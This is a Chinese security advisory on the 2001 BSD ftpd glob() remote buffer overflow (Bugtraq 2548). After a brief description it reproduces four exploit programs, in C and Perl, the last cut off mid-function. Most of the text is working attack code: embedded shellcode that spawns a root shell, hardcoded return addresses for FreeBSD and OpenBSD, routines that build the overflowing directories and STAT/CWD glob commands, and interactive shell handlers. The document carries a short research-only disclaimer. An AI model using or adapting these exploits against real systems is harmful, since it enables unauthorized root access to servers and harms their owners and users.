BSD ftpd 远程缓冲区溢出漏洞(付多个测试代码)
BSD ftpd glob() 函数远程缓冲区溢出漏洞(付多个测试代码)
日期:2001-5-23
整理:NetDemon <netdemon@20cn.net>
受影响的系统:
FreeBSD 4.x
FreeBSD 3.x
NetBSD 1.5以及更低版本
OpenBSD 2.8以及更低版本
SGI IRIX 6.5.x
描述:
-------------------------------------------------------------------------------
BUGTRAQ ID: 2548
很多系统的FTPD守护程序包含一个glob()函数,它实现文件名的模式匹配,它遵循与Unix shell同样的原则。
某些BSD系统的glob()实现其内部处理函数中包含一些缓冲区溢出漏洞。这些溢出通常可以通过请求一个可以扩展为超长路径名的模板来触发,也可以设法使FTP守护程序将用户输入的模板通过glob()两次来触发。
允许本地和远程攻击者在受影响的系统上获取root权限。对于远程用户,如果他们可以在服务器上创建目录,就可以利用这些漏洞;在某些例外情况下,远程用户可以不需要有创建目录的权限。
测试程序:
-------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
-------------------------------------------------------------------------------
测试程序 <1> :
noah williamsson <tm@ns2.crw.sefish>提供了如下测试代码:
/*
* (c) Apr 2001 noah williamsson / tm@ns2.crw.se
*
* Compile:
* BSD/Linux: gcc -o fbsdftp-ex -O2 -Wall fbsdftp-ex.c
* Solaris: cc -o fbsdftp-ex -O2 -Wall -lresolv -lsocket -lnsl fbsdftp-ex.c
*
* Credits:
* fishstiqz (shellcode)
*
* Greets:
* #Hack.SE
*
* For adding new targets, some hints are available
* around line 180 in this file.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <resolv.h>
#include <signal.h>
#include <sys/stat.h>
// #define DEBUG
int type, verbose, s;
char kjellkode[] = {
/* fishstiqz' bsd c0de */
"\x29\xc0\x50\xb0\x17\x50\xcd\x80"
"\x29\xc0\x50\xbf\x66\x69\x73\x68"
"\x29\xf6\x66\xbe\x49\x46\x31\xfe"
"\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
"\x56\x89\xe3\x50\x54\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80"
};
struct {
char *name;
unsigned long neweip;
int offset;
int align;
int mkds;
int cwds;
} targets[] = {
{ "FreeBSD 4.2R ftpd default installation", 0xbfbfa410, 0x58, 0, 26, 50 },
{ "FreeBSD 4.2R ftpd compiled with -ggdb", 0xbfbfa430, 0x58, 0, 26, 50 },
{ "FreeBSD 4.2S as of Sept 2000", 0xbfbfa450, 0x58, 0, 26, 50 },
{ 0 }
};
int main(int, char **);
void sig(int);
int opensock(char *);
void usage(void);
void ftpd_exp(char *, char *);
void ftpd_mkd(int);
void tunnel(int);
int main(int argc, char *argv[]) {
char *host, *user, *pass, buf[8192];
int i, create_dirs = 0;
if(argc < 4)
usage();
for(i = 1; i < argc; i++) {
if(!strcmp(argv[i], "-t"))
type = atoi(argv[++i]);
if(!strcmp(argv[i], "-v"))
verbose = 1;
else if(!strcmp(argv[i], "-c"))
create_dirs = 1;
}
pass = argv[argc-1];
user = argv[argc-2];
host = argv[argc-3];
if((s = opensock(host)) <= 0)
return -1;
printf("[xplt] Target host is %s\n", targets[type].name);
memset(buf, 0, sizeof(buf));
read(s, buf, sizeof(buf));
sprintf(buf, "USER %s\r\n", user);
write(s, buf, strlen(buf));
memset(buf, 0, sizeof(buf));
read(s, buf, sizeof(buf));
sprintf(buf, "PASS %s\r\n", pass);
write(s, buf, strlen(buf));
memset(buf, 0, sizeof(buf));
sleep(1);
read(s, buf, sizeof(buf));
#ifdef DEBUG
printf("[xplt] Hit enter\n");
read(0, buf, sizeof(buf));
#endif
if(create_dirs) {
chdir("~");
ftpd_mkd(targets[type].mkds);
}
ftpd_exp(user, pass);
close(s);
return 0;
}
void ftpd_exp(char *login, char *pass) {
char buf[4096];
int rep;
signal(SIGINT, sig);
sprintf(buf, "STAT CCC*");
for(rep = 0; rep < targets[type].cwds; rep++)
strcat(buf, "/*");
strcat(buf, "\r\n");
write(s, buf, strlen(buf));
sprintf(buf, "echo '[+] If you can see this line you have a shell [+]' ; /usr/bin/id\n");
write(s, buf, strlen(buf));
printf("[xplt] If you don't receive a line with uid=0 within a few seconds the exploit probably didn't work\n");
tunnel(s);
}
void ftpd_mkd(int numdirs) {
char buf[1024], ftpcmd[1024];
int i;
sprintf(buf, "CWD ~\r\n");
write(s, buf, strlen(buf));
memset(buf, 0, sizeof(buf));
read(s, buf, sizeof(buf));
if(verbose) printf("FTP:cwd ~> %s", buf);
for(i = 0; i < numdirs; i++) {
memset(buf, 0, sizeof(buf));
if(i == 1) {
memset(buf, 0x90, 40);
memcpy(buf+strlen(buf), kjellkode, strlen(kjellkode));
memset(buf+strlen(buf), 0x90, 203-strlen(buf));
}
else if('C'+i == targets[type].offset) {
int j;
#ifdef DEBUG
/*
* Start gdb -se=/usr/libexec/ftpd
* Attach the ftpd process when you see 'Hit enter'
* Hit enter.
*
* Offset is (segv addy & 0xff) - 0x30
*
* Find neweip by doing x/1000wx 0xbfbfa00
* and look for 0x90909090
*
*/
for(j = 0; j < 39; j++)
buf[j] = j + 0x30;
#else
for(j = 0; j < 40; j+=4)
*(unsigned long *)(&buf[j+targets[type].align]) = targets[type].neweip;
#endif
}
else {
memset(buf, 'C'+i, 39);
}
sprintf(ftpcmd, "MKD %s\r\n", buf);
write(s, ftpcmd, strlen(ftpcmd));
memset(buf, 0, sizeof(buf));
read(s, buf, 510);
if(verbose) printf("FTP:mkd> %s", buf);
memcpy(ftpcmd, "CW", 2);
write(s, ftpcmd, strlen(ftpcmd));
memset(buf, 0, sizeof(buf));
read(s, buf, 510);
if(verbose) printf("FTP:cwd> %s", buf);
}
printf("[xplt] Created %d directories\n", i);
sprintf(buf, "CWD ~\r\n");
write(s, buf, strlen(buf));
memset(buf, 0, sizeof(buf));
read(s, buf, sizeof(buf));
if(verbose) printf("FTP:cwd ~> %s", buf);
}
int opensock(char *host) {
int s;
struct sockaddr_in remote_sin;
struct hostent *he;
if((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
return -1;
}
memset((char *)&remote_sin, 0, sizeof(remote_sin));
if((he = gethostbyname(host)) != NULL)
memcpy((char *)&remote_sin.sin_addr, he->h_addr, he->h_length);
else if((remote_sin.sin_addr.s_addr = inet_addr(host)) < 0) {
perror("gethostbyname()/inet_addr()");
return -1;
}
remote_sin.sin_family = AF_INET;
remote_sin.sin_port = htons(21);
if(connect(s, (struct sockaddr *)&remote_sin, sizeof(remote_sin)) == -1) {
perror("connect()");
close(s);
return -1;
}
return s;
}
void usage(void) {
int i;
printf("Usage: ./fbsdftp-ex [-t <num>] [-c] [-v] <ftphost> <ftpuser> <ftppass>\n");
printf("\t-t\tTarget host type\n");
printf("\t-c\tCreate evil directories\n");
printf("\t-v\tVerbose\n");
printf("\nValid targets:\n");
for(i = 0; targets[i].name; i++) {
printf("%d\t%s\n", i, targets[i].name);
}
exit(0);
}
void sig(int signo) {
close(s);
printf("Die!\n");
exit(0);
}
void tunnel(int sock) {
char fbuf[1024], tbuf[1024];
int ret, idx_f = 0, idx_t = 0;
int input = 0, output = 1;
struct timeval tv;
fd_set rd, wd;
FD_ZERO(&rd);
FD_ZERO(&wd);
for(;;) {
if(idx_t < 1024)
FD_SET(input, &rd);
if(idx_f < 1024)
FD_SET(sock, &rd);
tv.tv_sec = 1;
tv.tv_usec = 0;
ret = select(sock+1, &rd, &wd, NULL, NULL);
if(ret < 1)
continue;
if(FD_ISSET(sock, &rd) && idx_f != 1024) {
ret = read(sock, fbuf + idx_f, sizeof(fbuf) - idx_f);
if(ret < 1)
break;
idx_f += ret;
FD_CLR(sock, &rd);
}
if(FD_ISSET(input, &rd) && idx_t != 1024) {
ret = read(input, tbuf + idx_t, sizeof(tbuf) - idx_t);
if(ret < 1)
break;
idx_t += ret;
FD_CLR(input, &rd);
}
if(idx_f) {
if((ret = write(output, fbuf, idx_f)) < 1)
break;
if(!(idx_f -= ret))
memcpy(fbuf, fbuf + ret, idx_f);
}
if(idx_t) {
if((ret = write(sock, tbuf, idx_t)) < 1)
break;
if(!(idx_t -=ret))
memcpy(tbuf, tbuf + ret, idx_t);
}
}
close(sock);
/* DMT$MTA */
}
-------------------------------------------------------------------------------
测试程序 <2> :
fish stiqz <fish@analog.org>提供了如下测试代码:
/*
* turkey2.c - "gobble gobble"
*
* REMOTE ROOT EXPLOIT FOR BSD FTPD
* by: fish stiqz <fish@analog.org> 04/14/2001
*
* shouts: trey, dono, hampton and The Analog Organization.
*
* Notes:
* Doesn't break chroot so requires an account.
*
* Fixed a design issue I had previously overlooked.
* Added support for OpenBSD 2.8 =).
*
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <ctype.h>
#include <pwd.h>
#define FTP_PORT 21
#define MAXX(a,b) ((a) < (b) ? (b) : (a))
#define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */
extern int errno;
int debug_read;
int debug_write;
/*
* Non-ripped 45 byte bsd shellcode which does setuid(0) and execve()
* and does not contain any '/' characters.
*/
char bsdcode[] =
"\x29\xc0\x50\xb0\x17\x50\xcd\x80"
"\x29\xc0\x50\xbf\x66\x69\x73\x68"
"\x29\xf6\x66\xbe\x49\x46\x31\xfe"
"\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
"\x56\x89\xe3\x50\x54\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
/* architecture structure */
struct arch {
char *description;
char *shellcode;
unsigned long code_addr;
};
/* available targets */
struct arch archlist[] =
{
{ "FreeBSD 4.X (FTP server (Version 6.00LS))", bsdcode, 0xbfbfc2c8 },
{ "OpenBSD 2.8 (FTP server (Version 6.5/OpenBSD))", bsdcode, 0xdfbfa1c8 }
};
/*
* function prototypes.
*/
void *Malloc(size_t);
void *Realloc(void *, size_t);
char *Strdup(char *);
int get_ip(struct in_addr *, char *);
int tcp_connect(char *, unsigned int);
ssize_t write_sock(int, char *);
int sock_readline(int, char *, int);
char *read_sock(int);
int ftp_login(int, char *, char *);
char *ftp_gethomedir(int);
int ftp_mkdir(int, char *);
int ftp_chdir(int, char *);
int ftp_quit(int);
void possibly_rooted(int);
char *random_string(void);
void send_glob(int, char *);
int ftp_glob_exploit(int, char *, unsigned long, char *);
int verify_shellcode(char *);
void usage(char *);
void list_targets(void);
/*
* Error cheq'n wrapper for malloc.
*/
void *Malloc(size_t n)
{
void *tmp;
if((tmp = malloc(n)) == NULL)
{
fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}
return tmp;
}
/*
* Error cheq'n realloc.
*/
void *Realloc(void *ptr, size_t n)
{
void *tmp;
if((tmp = realloc(ptr, n)) == NULL)
{
fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}
return tmp;
}
/*
* Error cheq'n strdup.
*/
char *Strdup(char *str)
{
char *s;
if((s = strdup(str)) == NULL)
{
fprintf(stderr, "strdup failed! exiting...\n");
exit(EXIT_FAILURE);
}
return s;
}
/*
* translates a host from its string representation (either in numbers
* and dots notation or hostname format) into its binary ip address
* and stores it in the in_addr struct passed in.
*
* return values: 0 on success, != 0 on failure.
*/
int get_ip(struct in_addr *iaddr, char *host)
{
struct hostent *hp;
/* first check to see if its in num-dot format */
if(inet_aton(host, iaddr) != 0)
return 0;
/* next, do a gethostbyname */
if((hp = gethostbyname(host)) != NULL)
{
if(hp->h_addr_list != NULL)
{
memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
return 0;
}
return -1;
}
return -1;
}
/*
* initiates a tcp connection to the specified host (either in
* ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
* to the host's tcp port.
*
* return values: != -1 on success, -1 on failure.
*/
int tcp_connect(char *host, unsigned int port)
{
int sock;
struct sockaddr_in saddress;
struct in_addr *iaddr;
iaddr = Malloc(sizeof(struct in_addr));
/* write the hostname information into the in_addr structure */
if(get_ip(iaddr, host) != 0)
return -1;
saddress.sin_addr.s_addr = iaddr->s_addr;
saddress.sin_family = AF_INET;
saddress.sin_port = htons(port);
/* create the socket */
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return -1;
/* make the connection */
if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
{
close(sock);
return -1;
}
/* everything succeeded, return the connected socket */
return sock;
}
/*
* a wrapper for write to enable us to do some debugging.
*/
int write_sock(int fd, char *buf)
{
if(debug_write)
printf(" > %s", buf);
return write(fd, buf, strlen(buf));
}
/*
* reads a line from the socket, stores it into buffer,
* doesnt null terminate.
*/
int sock_readline(int sock, char *buffer, int maxsize)
{
int x, r;
char rchar;
for(x = 0; x < maxsize; x++)
{
/* read in one character from the socket */
if((r = read(sock, &rchar, 1)) == 1)
{
buffer[x] = rchar;
if(rchar == '\n')
break;
}
else
return -1;
}
return x;
}
/*
* reads in an entire message from the ftp server.
*/
char *read_sock(int sock)
{
char ibuf[8192], *bigbuf = NULL;
int r;
unsigned int total = 0;
for(;;)
{
memset(ibuf, 0x0, sizeof(ibuf));
r = sock_readline(sock, ibuf, sizeof(ibuf) - 1);
bigbuf = Realloc(bigbuf, (total + strlen(ibuf) + 1) * sizeof(char));
memcpy(bigbuf + total, ibuf, strlen(ibuf));
bigbuf[total + strlen(ibuf)] = 0x0;
total += strlen(ibuf);
if(strlen(ibuf) < 4)
break;
/* multi-lined responses have a dash as the 4th character */
if(ibuf[3] != '-')
break;
}
if(debug_read)
{
printf(" < %s", bigbuf);
fflush(stdout);
}
return bigbuf;
}
/*
* FTP LOGIN function. Issues a "USER <username> and then "PASS <password>"
* to login to the remote host and checks that command succeeded.
*/
int ftp_login(int sock, char *username, char *password)
{
char *recvbuf;
char *sendbuf;
char *header;
header = read_sock(sock);
printf("\tserver runs:\t%s", header);
free(header);
sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) *
sizeof(char));
sprintf(sendbuf, "USER %s\n", username);
write_sock(sock, sendbuf);
recvbuf = read_sock(sock);
if(atoi(recvbuf) != 331)
{
free(recvbuf);
return 0;
}
sprintf(sendbuf, "PASS %s\n", password);
write_sock(sock, sendbuf);
recvbuf = read_sock(sock);
if(atoi(recvbuf) != 230)
{
free(recvbuf);
return 0;
}
free(sendbuf);
return 1;
}
/*
* FTP GET HOME DIR function. Issues a "CWD ~" and "PWD" to
* force the ftp daemon to print our our current directory.
*/
char *ftp_gethomedir(int sock)
{
char *recvbuf;
char *homedir = NULL;
write_sock(sock, "CWD ~\n");
recvbuf = read_sock(sock);
if(atoi(recvbuf) == 250)
{
write_sock(sock, "PWD\n");
recvbuf = read_sock(sock);
if(atoi(recvbuf) == 257)
{
char *front, *back;
front = strchr(recvbuf, '"');
front++;
back = strchr(front, '"');
homedir = Malloc((back - front) * sizeof(char));
strncpy(homedir, front, (back - front));
homedir[(back - front)] = 0x0;
}
}
free(recvbuf);
return homedir;
}
/*
* FTP MKDIR function. Issues an "MKD <dirname>" to create a directory on
* the remote host and checks that the command succeeded.
*/
int ftp_mkdir(int sock, char *dirname)
{
char *recvbuf;
char *sendbuf;
sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
sprintf(sendbuf, "MKD %s\n", dirname);
write_sock(sock, sendbuf);
recvbuf = read_sock(sock);
free(sendbuf);
if(atoi(recvbuf) == 257)
{
free(recvbuf);
return 1;
}
free(recvbuf);
return 0;
}
/*
* FTP CWD function. Issues a "CWD <dirname>" to change directory on
* the remote host and checks that the command succeeded.
*/
int ftp_chdir(int sock, char *dirname)
{
char *recvbuf;
char *sendbuf;
sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
sprintf(sendbuf, "CWD %s\n", dirname);
write_sock(sock, sendbuf);
recvbuf = read_sock(sock);
free(sendbuf);
if(atoi(recvbuf) == 250)
{
free(recvbuf);
return 1;
}
free(recvbuf);
return 0;
}
/*
* FTP QUIT function. Issues a "QUIT" to terminate the connection.
*/
int ftp_quit(int sock)
{
char *recvbuf;
write_sock(sock, "QUIT\n");
recvbuf = read_sock(sock);
free(recvbuf);
close(sock);
return 1;
}
/*
* switches between the user and the remote shell (if everything went well).
*/
void possibly_rooted(int sock)
{
char banner[] =
"cd /; echo; uname -a; echo; id; echo; echo Welcome to the shell, "
"enter commands at will; echo;\n\n";
char buf[1024];
fd_set fds;
int r;
write(sock, banner, strlen(banner));
for(;;)
{
FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sock, &fds);
select(255, &fds, NULL, NULL, NULL);
if(FD_ISSET(sock, &fds))
{
memset(buf, 0x0, sizeof(buf));
r = read (sock, buf, sizeof(buf) - 1);
if(r <= 0)
{
printf("Connection closed.\n");
exit(EXIT_SUCCESS);
}
printf("%s", buf);
}
if(FD_ISSET(fileno(stdin), &fds))
{
memset(buf, 0x0, sizeof(buf));
read(fileno(stdin), buf, sizeof(buf) - 1);
write(sock, buf, strlen(buf));
}
}
close(sock);
}
/*
* generates a string of 6 random characters.
* this is too allow for multiple successful runs, best way to do
* this is to actually remove the created directories.
*/
char *random_string(void)
{
int i;
char *s = Malloc(7 * sizeof(char));
srand(time(NULL));
for(i = 0; i < 6; i++)
s[i] = (rand() % (122 - 97)) + 97;
s[i] = 0x0;
return s;
}
/*
* sends the glob string, to overflow the daemon.
*/
void send_glob(int sock, char *front)
{
char globbed[] = "CWD ~/NNNNNN*/X*/X*/X*\n";
int i, j;
for(i = 6, j = 0; i < 6 + 6; i++, j++)
globbed[i] = front[j];
write_sock(sock, globbed);
printf("[5] Globbed commands sent.\n");
free(front);
/* start our shell handler */
possibly_rooted(sock);
}
/*
* Exploitation routine.
* Makes 4 large directories and then cwd's to them.
*/
int ftp_glob_exploit(int sock, char *homedir, unsigned long addy, char *shellcode)
{
char dir[300];
int i = 0, j = 0;
int total = strlen(homedir) + 1;
int align;
char *rstring = random_string();
/* go to the writeable directory */
if(!ftp_chdir(sock, homedir))
{
fprintf(stderr, "[-] Failed to change directory, aborting!\n");
return 0;
}
for(i = 0; i < 4; i++)
{
memset(dir, 0x0, sizeof(dir));
switch(i)
{
case 0: /* first dir == shellcode */
memcpy(dir, rstring, strlen(rstring));
memset(dir + strlen(rstring), NOP, 255 - strlen(rstring));
memcpy(&dir[(255 - strlen(shellcode))], shellcode, strlen(shellcode));
break;
case 3: /* address buffer */
/* calculate the alignment */
align = total % sizeof(long);
align = sizeof(long) - align;
printf("[3] Calculated alignment = %d, total = %d\n",
align, total);
strcpy(dir, "XXXX");
memset(dir + 4, 'X', align);
for(j = 4 + align; j < 250; j += 4)
{
/* leet portable bit shifting */
/* brought to you by trey */
unsigned long p_addy = htonl(addy);
dir[j + 0] = p_addy & 0xff;
dir[j + 1] = (p_addy & 0xff00) >> 8;
dir[j + 2] = (p_addy & 0xff0000) >> 16;
dir[j + 3] = (p_addy & 0xff000000) >> 24;
}
break;
default: /* cases 1 and 2, extra overflow bytes */
memset(dir, 'X', 255);
break;
}
total += strlen(dir) + 1;
if(!ftp_mkdir(sock, dir))
{
fprintf(stderr, "[-] Failed to generate directories, aborting!\n");
return 0;
}
if(!ftp_chdir(sock, dir))
{
fprintf(stderr, "[-] Failed to change directory, aborting!\n");
return 0;
}
}
printf("[4] Evil directories created.\n");
if(!ftp_chdir(sock, homedir))
{
fprintf(stderr, "[-] Failed to cwd back to %s, aborting!\n", homedir);
return 0;
}
/* perform the final attack */
send_glob(sock, rstring);
return 1;
}
/*
* returns true if the shellcode passes, false otherwise.
*/
int verify_shellcode(char *code)
{
int i, s = 0;
if(strlen(code) > 255)
{
fprintf(stderr, "[-] Shellcode length exceeds 255, aborting!\n");
return 0;
}
for(i = 0; i < strlen(code); i++)
{
if(code[i] == '/')
s++;
}
if(s > 0)
{
fprintf(stderr,
"[-] Shellcode contains %u slash characters, aborting\n", s);
return 0;
}
return 1;
}
/*
* displays the usage message and exits.
*/
void usage(char *p)
{
fprintf(stderr,
"BSD ftpd remote exploit by fish stiqz <fish@analog.org>\n"
"usage: %s [options]\n"
"\t-c\tremote host to connect to\n"
"\t-o\tremote port to use\n"
"\t-u\tremote username\n"
"\t-p\tremote password\n"
"\t-i\tget the password interactively\n"
"\t-t\tpredefined target (\"-t list\" to list all targets)\n"
"\t-d\twriteable directory\n"
"\t-l\tshellcode address\n"
"\t-v\tdebug level [0-2]\n"
"\t-s\tseconds to sleep after login (debugging purposes)\n"
"\t-h\tdisplay this help\n", p);
exit(EXIT_FAILURE);
}
/*
* lists all available targets.
*/
void list_targets(void)
{
int i;
printf("Available Targets:\n");
for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )
printf("%i: %s\n", i, archlist[i].description);
return;
}
int main(int argc, char **argv)
{
int sock, c;
int port = FTP_PORT;
int debuglevel = 0;
char *host = NULL;
char *username = NULL;
char *password = NULL;
struct arch *arch = NULL;
char *shellcode = bsdcode;
int target = 0;
int sleep_time = 0;
unsigned long code_addr = 0;
char *homedir = NULL;;
/* grab command line parameters */
while((c = getopt(argc, argv, "c:o:u:p:it:d:l:v:s:h")) != EOF)
{
switch(c)
{
case 'c':
host = Strdup(optarg);
break;
case 'o':
port = atoi(optarg);
break;
case 'u':
username = Strdup(optarg);
break;
case 'p':
password = Strdup(optarg);
/* hide the password from ps */
memset(optarg, 'X', strlen(optarg));
break;
case 'i':
password = getpass("Enter remote password: ");
break;
case 't':
if(strcmp(optarg, "list") == 0)
{
list_targets();
return EXIT_FAILURE;
}
target = atoi(optarg);
arch = &(archlist[target]);
code_addr = ntohl(arch->code_addr);
shellcode = arch->shellcode;
break;
case 'd':
homedir = Strdup(optarg);
break;
case 'l':
code_addr = ntohl(strtoul(optarg, NULL, 0));
break;
case 'v':
debuglevel = atoi(optarg);
break;
case 's':
sleep_time = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
/* check for required options */
if(host == NULL || username == NULL || password == NULL || code_addr == 0)
usage(argv[0]);
/* setup the debug level */
switch(debuglevel)
{
case 1:
debug_read = 1;
debug_write = 0;
break;
case 2:
debug_read = 1;
debug_write = 1;
break;
default:
debug_read = 0;
debug_write = 0;
break;
}
/* make sure the shellcode is good */
if(!verify_shellcode(shellcode))
return EXIT_FAILURE;
/* initiate the tcp connection to the ftp server */
if((sock = tcp_connect(host, port)) == -1)
{
fprintf(stderr, "[-] Connection to %s failed!\n", host);
ftp_quit(sock);
return EXIT_FAILURE;
}
if(arch == NULL)
printf("[0] Connected to host %s.\n", host);
else
printf("[0] Connected to host %s\n\tusing type:\t%s.\n",
host, arch->description);
/* login */
if(!ftp_login(sock, username, password))
{
fprintf(stderr, "[-] Login failed, aborting!\n");
ftp_quit(sock);
return EXIT_FAILURE;
}
/* hey, so im anal! */
memset(password, 'X', strlen(password));
memset(username, 'X', strlen(username));
printf("[1] Login succeeded.\n");
if(sleep != 0)
sleep(sleep_time);
if(homedir == NULL)
{
/* get home directory */
if((homedir = ftp_gethomedir(sock)) == NULL)
{
fprintf(stderr, "[-] Couldn't retrieve home directory, aborting!\n");
ftp_quit(sock);
return EXIT_FAILURE;
}
}
printf("[2] Home directory retrieved as \"%s\", %u bytes.\n",
homedir, strlen(homedir));
/* do the exploitation */
if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode))
{
fprintf(stderr, "[-] exploit failed, aborting!\n");
ftp_quit(sock);
return EXIT_FAILURE;
}
free(host);
return EXIT_SUCCESS;
}
-------------------------------------------------------------------------------
测试程序 <3> :
babcia padlina ltd. <venglin@freebsd.lublin.pl>提供了如下测试代码:
#!/usr/bin/perl
# This is another version of globbing exploit, written about week ago. It
# creates only one directory.
require 5.002;
use strict;
use sigtrap;
use Socket;
my($recvbuf, $host, $user, $pass, $iaddr, $paddr, $proto, $code, $ret, $off, $align, $rin, $rout, $rea
d);
# teso shellcode ripped from 7350obsd
$code = "\x31\xc0\x99\x52\x52\xb0\x17\xcd\x80\x68\xcc\x73\x68\xcc\x68";
$code .= "\xcc\x62\x69\x6e\xb3\x2e\xfe\xc3\x88\x1c\x24\x88\x5c\x24\x04";
$code .= "\x88\x54\x24\x07\x89\xe6\x8d\x5e\x0c\xc6\x03\x2e\x88\x53\x01";
$code .= "\x52\x53\x52\xb0\x05\xcd\x80\x89\xc1\x8d\x5e\x05\x6a\xed\x53";
$code .= "\x52\xb0\x88\xcd\x80\x53\x52\xb0\x3d\xcd\x80\x51\x52\xb0\x0c";
$code .= "\x40\xcd\x80\xbb\xcc\xcc\xcc\xcc\x81\xeb\x9e\x9e\x9d\xcc\x31";
$code .= "\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\x8d";
$code .= "\x5e\x10\x53\x52\xb0\x3d\xcd\x80\x89\x76\x0c\x89\x56\x10\x8d";
$code .= "\x4e\x0c\x52\x51\x56\x52\xb0\x3b\xcd\x80\xc9\xc3\x55\x89\xe5";
$code .= "\x83\xec\x08\xeb\x12\xa1\x3c\x50\x90";
#$ret = 0xbfbfeae8; - stos lagoona
#$ret = 0x805baf8; - bss info
$ret = 0x805e23a; # - bss lagoon
if (@ARGV < 3)
{
print "Usage: $0 <hostname> <username> <password> [align] [offset]\n";
exit;
}
($host, $user, $pass, $align, $off) = @ARGV;
if (defined($off))
{
$ret += $off;
}
if (!defined($align))
{
$align = 1;
}
print "Globulka v1.0 by venglin\@freebsd.lublin.pl\n\n";
print "RET: 0x" . sprintf('%lx', $ret) . "\n";
print "Align: $align\n\n";
$iaddr = inet_aton($host) or die "Unknown host: $host\n";
$paddr = sockaddr_in(21, $iaddr) or die "getprotobyname: $!\n";
$proto = getprotobyname('tcp') or die "getprotobyname: $!\n";
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!\n";
connect(SOCKET, $paddr) or die "connect: $!\n";
do
{
$recvbuf = <SOCKET>;
}
while($recvbuf =~ /^220- /);
print $recvbuf;
if ($recvbuf !~ /^220 .+/)
{
die "Exploit failed.\n";
}
send(SOCKET, "USER $user\r\n", 0) or die "send: $!\n";
$recvbuf = <SOCKET>;
if ($recvbuf !~ /^(331|230) .+/)
{
print $recvbuf;
die "Exploit failed.\n";
}
send(SOCKET, "PASS $pass\r\n", 0) or die "send: $!\n";
$recvbuf = <SOCKET>;
if ($recvbuf !~ /^230 .+/)
{
print $recvbuf;
die "Exploit failed.\n";
}
else
{
print "Logged in as $user/$pass. Sending evil STAT command.\n\n";
}
send(SOCKET, "MKD " . "A"x255 . "\r\n", 0) or die "send: $!\n";
$recvbuf = <SOCKET>;
if ($recvbuf !~ /^(257|550) .+/)
{
print $recvbuf;
die "Exploit failed.\n";
}
send(SOCKET, "STAT A*/../A*/../A*/" . "\x90" x (90+$align) . $code .
pack('l', $ret) x 30 . "\r\n", 0) or die "send: $!\n";
sleep 1;
send(SOCKET, "id\n", 0) or die "send: $!\n";
$recvbuf = <SOCKET>;
if ($recvbuf !~ /^uid=.+/)
{
die "Exploit failed.\n";
}
else
{
print $recvbuf;
}
vec($rin, fileno(STDIN), 1) = 1;
vec($rin, fileno(SOCKET), 1) = 1;
for(;;)
{
$read = select($rout=$rin, undef, undef, undef);
if (vec($rout, fileno(STDIN), 1) == 1)
{
if (sysread(STDIN, $recvbuf, 1024) == 0)
{
exit;
}
send(SOCKET, $recvbuf, 0);
}
if (vec($rout, fileno(SOCKET), 1) == 1)
{
if (sysread(SOCKET, $recvbuf, 1024) == 0)
{
exit;
}
syswrite(STDIN, $recvbuf, 1024);
}
}
close SOCKET;
exit;
-------------------------------------------------------------------------------
测试程序 <4> :
StYx <styx@mal.tebank.com.mk> 提供了如下测试代码:
/*
* glob() ftpd root exploit for freebsd 4.2
*
* 16/04/2001 StYx / styx@mal.tebank.com.mk
*
* Compile: gcc -o ronin ronin.c
* Use: (./ronin ; cat) | nc target 21
*
* Creditz:
* venglin (riped piece of his code :-] )
* preedator (tnx for the help bro)
*
* Greetz:
* jstr,atko,psx-one,slash,netzero,sniper,sircho, #seir ...
*
* This sploit needs user acces and a writable homedir without chroot,
* just add your user and passwd.
*
* Cudovo e napisano za Sircho od MoL za da vidi deka ne se Mol 100%
* sigurni
*
* Have phun.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define RET 0x805e23a
char hellc0de[] =
"\x31\xc0\x99\x52\x52\xb0\x17\xcd\x80\x68\xcc\x73\x68\xcc\x68"
"\xcc\x62\x69\x6e\xb3\x2e\xfe\xc3\x88\x1c\x24\x88\x5c\x24\x04"
"\x88\x54\x24\x07\x89\xe6\x8d\x5e\x0c\xc6\x03\x2e\x88\x53\x01"
"\x52\x53\x52\xb0\x05\xcd\x80\x89\xc1\x8d\x5e\x05\x6a\xed\x53"
"\x52\xb0\x88\xcd\x80\x53\x52\xb0\x3d\xcd\x80\x51\x52\xb0\x0c"
"\x40\xcd\x80\xbb\xcc\xcc\xcc\xcc\x81\xeb\x9e\x9e\x9d\xcc\x31"
"\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\x8d"
"\x5e\x10\x53\x52\xb0\x3d\xcd\x80\x89\x76\x0c\x89\x56\x10\x8d"
"\x4e\x0c\x52\x51\x56\x52\xb0\x3b\xcd\x80\xc9\xc3\x55\x89\xe5"
"\x83\xec\x08\xeb\x12\xa1\x3c\x50\x90";
unsigned long get_esp(){
__asm__("movl %esp, %eax");
}
int main(int argc, char **argv)
{
char heh[260];
int offset =0;
char k[256];
